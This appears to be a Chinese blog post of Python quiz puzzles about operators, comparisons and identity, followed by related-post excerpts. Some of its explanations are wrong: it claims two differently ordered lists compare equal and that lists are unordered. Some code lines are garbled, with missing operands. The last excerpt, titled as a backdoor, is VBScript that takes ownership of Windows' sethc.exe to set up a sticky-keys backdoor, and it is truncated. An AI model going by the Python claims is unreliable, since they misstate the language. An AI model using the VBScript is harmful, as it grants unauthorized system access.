有意思的Python例子

2021-08-21 04:54:22 字數 1310 閱讀 1003

第一題

a=1

a+=a>=1

print(a)

請問當前的輸出結果是多少

正確答案是 2

為什麼那?

首先拆分 a>=1 的結果為 true

現在變成了 a+=true

在python中 true 轉變為int 型別就是1

所以變成了a+=1 結果自然是2嘍

雖然題目問的簡單,但是還是很考驗基本功的

第二題

print([1,2,3]>[1,3,2])

輸出結果是多少

正確答案是false

因為列表 ,字串的比較是第一位與第一位比較,如果相等再進行第二位比較,如果第二位可以比較出結果,那麼該結果就是返回值。跟其他位的並沒有關係

第三題

print(1

and2) #結果是2

print(1

and0)#結果是0

print('a'

and'b')#結果是'b'

print('b'

and'a')#結果是'a'

print( not

'b')#結果是false

print([1] or )#結果是[1]

print( or [1])#結果是[1]

print(1

or2)#結果是1

print(2or1

#結果是2

是不是很神奇的返回值!

其實這個判斷規則也很簡單,只要想一下 and 和 or 的判斷規則就好了。

首先 and 如果and 左右兩邊都是 true 型別的 但是當計算機讀到and左邊的引數的時候,它並不能做出判斷,只有兩個都知道的時候才能判斷返回值。所以print(1 and 2) #結果是2

or 同理 去思考計算機判斷的過程

第四題

b = 

print(1

in b) #輸出結果為false

字典的成員運算子是針對字典的鍵來說的

第五題

a = [1,2,3]

b = [1,3,2]

print(a ==b ) #true

print(a is b) #false

c = (1,2,3)

d=(1,3,2)

print(c==d)#false

print(c is d)#false

因為 is 比較的 是 物件在記憶體裡面的位址 而且列表是無序的 元組是有序的

Python有意思的defaultdict方法

defaultdict主要解決在建立的dict為空時的賦值問題。1 dict.setdefault 方法 當不用defaultdict方法時,可用dict.setdefault 方法替代 下面使用參考資料中的例子舉例。例子是用來統計陣列中每個詞出現的次數。setdefault kw,0 方法可在di...

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...